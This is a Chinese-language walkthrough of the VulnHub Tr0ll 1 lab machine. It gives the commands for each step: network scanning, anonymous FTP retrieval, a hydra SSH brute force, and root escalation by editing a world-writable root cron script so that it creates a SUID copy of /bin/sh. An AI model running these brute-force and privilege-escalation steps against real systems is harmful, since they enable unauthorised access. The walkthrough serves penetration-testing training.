OSCP难度靶机之Tr0ll 1

虚拟机信息：虚拟机下载地址：https://www.vulnhub.com/entry/tr0ll-1,100/虚拟机简介：从 /root 目录获取 Proof.txt目标：1个flag级别：初级

1、信息收集

1.1 主机探测

arp-scan 192.168.207.0/24

1.2 服务探测

nmap -A -sS -sV -v -p- 192.168.207.148

查看开放21、22、80端口

2、渗透测试

2.1 WEB渗透

dirb http://192.168.207.148

发现一个目录比较可疑

没有发现有用信息

根据nmap扫描结果，允许Anonymous登录

登录ftp服务

ftp 192.168.207.148 
dir

查看存在lol.pcap数据包

get lol.pcap
bye

查看第一个TCP流为FTP登录信息

查看第三个流提示有一个特殊字符

http://192.168.207.148/sup3rs3cr3tdirlol/

查看站点存在一个文件

wget http://192.168.207.148/sup3rs3cr3tdirlol/roflmao
file roflmao

查看文件为ELF可执行文件

chmod 777 roflmao
./roflmao

通过提示的字符访问站点

在good_luck目录中查看文件如下

在另外一个文件夹中提示密码文件

wget http://192.168.207.148/0x0856BF/good_luck/which_one_lol.txt
wget http://192.168.207.148/0x0856BF/this_folder_contains_the_password/Pass.txt

删除which_one_lol.txt中第5行，作为用户名字典，使用Pass.txt作为密码字典

hydra -L which_one_lol.txt -p Pass.txt 192.168.207.148 ssh

获取到SSH用户名和密码

2.2 主机渗透

find / -writable 2<dev/null
ls -lah /lib/log/cleaner.py

查看文件所有者均为root账号，并且其他用户有读写权限

定期删除/tmp目录下的缓存文件

修改py脚本，并以root身份添加SUID权限

os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')

cd /tmp
./sh

查看sh文件存在suid权限

cd /root
cat proof.txt

原文始发于微信公众号（安全孺子牛）：OSCP难度靶机之Tr0ll 1